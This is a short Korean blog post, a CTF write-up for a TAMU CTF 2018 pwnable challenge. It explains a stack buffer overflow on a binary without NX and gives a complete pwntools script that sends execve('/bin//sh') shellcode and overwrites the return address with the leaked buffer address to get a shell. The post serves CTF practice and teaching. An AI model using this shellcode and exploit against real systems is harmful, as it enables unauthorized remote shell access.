티스토리 뷰
NX 안 걸려있네욥,,
main 에서 echo 실행하고,
echo에서 pwn2번 문제랑 비슷하게 s에 입력받습니다. 근데 이번엔 s의 주소를 출력해주네요?
그럼 shellcode+dummy로 ret까지 덮고 ret을 s의 주소로 덮으면 될 것 같네요!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | from pwn import * s = remote("pwn.ctf.tamu.edu",4323) SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" s.recvuntil("number ") s_addr = int(s.recv(10),0) print hex(s_addr) payload="" payload+=SHELLCODE payload+="\x90"*(0xEE - len(SHELLCODE) +4) + p32(s_addr) s.sendlineafter("echo? ",payload) sleep(0.5) s.interactive() | cs |
'Pwnable > write up' 카테고리의 다른 글
[Defcon 2016]feedme (0) | 2018.08.27 |
---|---|
[TAMU ctf 2018] pwn4 (0) | 2018.05.17 |
[TAMU ctf 2018] pwn2 (0) | 2018.05.17 |
[TAMU ctf 2018] pwn1 (0) | 2018.05.17 |
[Codegate 2017] babypwn (0) | 2018.03.09 |
댓글